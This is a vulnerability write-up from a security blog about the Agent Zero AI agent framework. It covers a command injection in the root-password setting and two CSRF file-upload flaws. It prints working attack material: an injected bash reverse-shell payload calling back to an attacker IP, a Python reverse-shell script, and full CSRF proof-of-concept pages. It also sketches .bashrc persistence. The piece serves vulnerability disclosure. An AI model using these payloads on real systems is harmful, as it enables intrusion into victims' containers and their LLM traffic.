> Agent Zero: Security Writeup

Posted: June 27, 2025 | Author: dead1nfluence

Recently, I have been periodically checking the Github Trending page for new vulnerability research targets. These days, Github Trending is populated primarily by AI tools, be they Agents, MCP servers, or some other tool which integrates AI.

Most of the AI-focused projects I have reviewed have yielded some success when it comes to finding issues. My criteria for reviewing a project was fairly simple: it had to be popular (it's on trending so it must be), it had to be something which could be deployed for others to use, or exposed in a way which could be exploited, and it couldn't be something like a framework or language.

In this article, I will detail the two issues I found on the project Agent Zero.

[~] Agent Zero

The Agent Zero AI framework is a "personal, organic agentic framework that grows and learns with you", offering a chat interface which integrates with all of the major LLMs, allowing you to pre-program tasks, execute commands and code, and cooperate with other agent instances.

It also boasts a "Hacking Edition" which is based on Kali Linux and modified with prompts for cybersecurity focused tasks. Certainly an interesting target.

Loading it up with Docker was fairly simple:

docker pull frdel/agent-zero-run
docker run -p 50001:80 frdel/agent-zero-run

Once the setup has completed, you can navigate to port 80 and find the web interface. By default, this interface has no login prompt.

For the purpose of our testing, we did enable basic authentication so as to test authorization and authentication flow issues.

[~] Findings

Command Injection

The application is a fairly simple interface as can be seen from the previous screenshots. The majority of the functionality resides in the settings page and the chat window which you interact with. Within the Settings window, there was one feature which piqued our interest:

From this pane we could reset the root user's password on the Docker container.

The code for this function could be found within the python/helpers/settings.py file:

subprocess.run(f"echo 'root:{password}' | chpasswd", shell=True, check=True)

This line takes user input, without filtering, and uses it to update the root user password. With subprocess command injection, in order for it to be successful, one of the pre-conditions is that shell is set to True as we can see it is above.

By crafting an input which would escape this command, we could inject our own bash reverse shell and call back to an attacker-controlled server.

POST /settings_set HTTP/1.1
Host: 192.168.2.21:50001
Content-Length: 12993
Authorization: Basic dGVzdDp0ZXN0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.2.21:50001
Referer: http://192.168.2.21:50001/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

...snip...
"title": "root Password",

"description": "Change linux root password in docker container. This password can be used for SSH access. Original password was randomly generated during setup.",

"type": "password",

"value": "' | bash -c 'bash -i >& /dev/tcp/192.168.2.10/4444 0>&1' #'"

...snip...

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.2
Date: Thu, 05 Jun 2025 17:42:57 GMT
Content-Type: application/json
Content-Length: 18
Connection: close

{"settings": null}

However unfortunately this isn't an issue. Why? Well, you can run commands directly on the Docker container from the chat window. So, while it was a fun exercise in getting a command injection, there was a far easier technique to getting a reverse shell.

CSRF — File Upload #1

Within the chat bar there are two file upload selectors. The first prompt presents the following screen and is intended to be used to upload directly to the container's directories:

This screen allows direct access to the Docker container's file system as we can see, and from here we can upload our file which results in a POST to:

/upload_work_dir_files

As the rest of the requests to the application were with the Json content-type I thought it might be worth trying to execute a CSRF through the file upload—a much easier target to craft a CSRF with. Multi-part forms used for file uploads are often missed when trying to create a CSRF proof-of-concept, however they frequently succeed in my experience.

Here we can see an example POST request made to the endpoint which accepts file uploads:

POST /upload_work_dir_files HTTP/1.1
Host: 172.17.0.2
Content-Length: 370
Authorization: Basic YWRtaW46YWRtaW4=
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypUkYvtpWdD0ZNweR
Accept: */*
Origin: http://172.17.0.2
Referer: http://172.17.0.2/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundarypUkYvtpWdD0ZNweR
Content-Disposition: form-data; name="path"

root
------WebKitFormBoundarypUkYvtpWdD0ZNweR
Content-Disposition: form-data; name="files[]"; filename="TEST.exe"
Content-Type: application/octet-stream

TEST
------WebKitFormBoundarypUkYvtpWdD0ZNweR--

Seen below is the basic Burp Suite CSRF HTML page which would be hosted on a remote server:


      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/172.17.0.2\/upload_work_dir_files", true);
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarypUkYvtpWdD0ZNweR");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarypUkYvtpWdD0ZNweR\r\n" + 
          "Content-Disposition: form-data; name=\"path\"\r\n" + 
          "\r\n" + 
          "root\r\n" + 
          "------WebKitFormBoundarypUkYvtpWdD0ZNweR\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"eicar.exe\"\r\n" + 
          "Content-Type: application/x-ms-dos-executable\r\n" + 
          "\r\n" + 
          "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\r\n" + 
          "------WebKitFormBoundarypUkYvtpWdD0ZNweR--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();

CSRF — File Upload #2

A similar issue was found on another endpoint: /message_async, This endpoint is used to add files to the chat which will be sent to the LLM which you have integrated with. These files are first uploaded to the container, and then used to send a request. :

Seen here is the POST request to this endpoint:

POST /message_async HTTP/1.1
Host: 172.17.0.2
Content-Length: 735
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2J6fpaWHsC6lMqgH
Accept: */*
Origin: http://172.17.0.2
Referer: http://172.17.0.2/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary2J6fpaWHsC6lMqgH
Content-Disposition: form-data; name="text"

...snip...

b8fb9695-1022-44e6-b11d-640a3476f7fb
------WebKitFormBoundary2J6fpaWHsC6lMqgH
Content-Disposition: form-data; name="attachments"; filename="rev.py"
Content-Type: text/x-python

import socket,os,pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

------WebKitFormBoundary2J6fpaWHsC6lMqgH--

And we can achieve the same result, a CSRF, with the following Burp Suite CSRF PoC:


      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/172.17.0.2\/message_async", true);
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2J6fpaWHsC6lMqgH");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary2J6fpaWHsC6lMqgH\r\n" + 
          "Content-Disposition: form-data; name=\"text\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary2J6fpaWHsC6lMqgH\r\n" + 
          "Content-Disposition: form-data; name=\"context\"\r\n" + 
          "\r\n" + 
          "6ff2be26-f32a-4848-9bca-648325d1a5e7\r\n" + 
          "------WebKitFormBoundary2J6fpaWHsC6lMqgH\r\n" + 
          "Content-Disposition: form-data; name=\"message_id\"\r\n" + 
          "\r\n" + 
          "b8fb9695-1022-44e6-b11d-640a3476f7fb\r\n" + 
          "------WebKitFormBoundary2J6fpaWHsC6lMqgH\r\n" + 
          "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" + 
          "Content-Type: text/x-python\r\n" + 
          "\r\n" + 
          "import socket,os,pty\n" + 
          "\n" + 
          "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + 
          "\n" + 
          "s.connect((\"127.0.0.1\",4444))\n" + 
          "os.dup2(s.fileno(),0)\n" + 
          "os.dup2(s.fileno(),1)\n" + 
          "os.dup2(s.fileno(),2)\n" + 
          "pty.spawn(\"/bin/sh\")\n" + 
          "\r\n" + 
          "------WebKitFormBoundary2J6fpaWHsC6lMqgH--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    
    

It should be noted that in the case of both of these issues, we have an arbitrary file upload, and these files are uploaded to /root. Meaning, we could overwrite the .bashrc file and upon the next console authentication a reverse shell could be initiated back to our attacker-controlled server.

While this all does reside on a container, gaining access to a victim's container may allow you to monitor their requests to the LLM, make other modifications, or simply set up a cryptominer as is seen in many cases of compromised Docker containers.